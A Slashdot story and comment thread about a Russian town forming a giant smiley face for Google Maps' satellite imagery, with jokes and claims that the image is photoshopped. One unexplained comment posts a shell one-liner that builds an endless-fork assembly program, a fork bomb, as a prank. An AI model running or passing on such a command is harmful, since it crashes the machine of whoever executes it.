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Russian Town Puts Giant Smiley On Google Maps
Toramir writes "Citizens of the Russian town Chelyabinsk calculated when the satellite, QuickBird, which takes images for Google Earth and Google Maps, would cross above their city and used people to make a giant smiley face. A rock concert on the main square attracted many people and everyone got a yellow cape. It looks like someone at Google was quicker than usual to put up the new data. Maybe Google likes the idea of an entire town working hard to get its 15 minutes of fame. The article has a screenshot of Google Maps and images taken directly at the event."
In Soviet Russia, satellite smiles at you!
or the copyright owners of the smiley face will issue a DMCA take down notice.
Whether that would really happen or not, the news has become so much like the Onion that I kind of expect asshattery like that.
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In soviet Russia, we know when the American satellites are coming!
Very creative. But were they going for the Alfred E. Neuman look? Probably should have put the stage below the chin. Still love it. Perhaps more with the missing tooth.
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Way to frown on the happy parade! :(
Be relentless!
Obvious Photoshop job. For punishment, I think we can all work together and put him over his bandwidth cap.
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... Google searches for YOU!
Paleotechnologist and connoisseur of pretty shiny things.
For those who absolutely refused to read the article, here is an artist's impression
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echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
No... wait... I see it! You kind of have to focus your eyes on a point behind the picture.
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I will try them.
You will see.
You should see how many things in the U.S. are named after Ronald Reagan!
A new breaktrough in loseless image compression, what really matters of that image in just 2 bytes.
I disagree. I can provide a better artist's impression: :D
No, the purpose of a cinema is to sell popcorn. It's actually quite the opposite of karma whoring.
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Toilet paper knows when you are coming! Oh, wait a minute...
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Off-topic, I know, but I'd never seen this before, and I found it quite funny.
Trademarks are not verbs, therefore verbs are not trademarks, therefore 'photoshopped' is not a trademark, and can therefore be used freely. Or am I applying logic where none applies? (Yes, I know, trademark law probably covers stuff like this.)
I tried to Google for an authoritative answer, but didn't come up with anything.
I'm old enough to remember when discussions on Slashdot were well informed.
I Britannica'd the info and found what you're looking for. I'll Xerox the page and UPS it to you.
Looks fake to me. The screenshots on the article's websites show the cars on the exactly same positions, so it's obviously the same square, photoshopped.
That makes me angry. They go through all the trouble of handing out yellow capes to hundreds of people. They tell them where to stand, and they probably have to wait there for quite a time while the satellite passes over. They have to block traffic, and business, etc. Then some humourless drone down at Google goes and photoshops all that work away. It was probably done by the same sourpuss person who got rid of the "Swim across the Atlantic" instruction you used to get when asking for directions from New York to London, England.
When our name is on the back of your car, we're behind you all the way!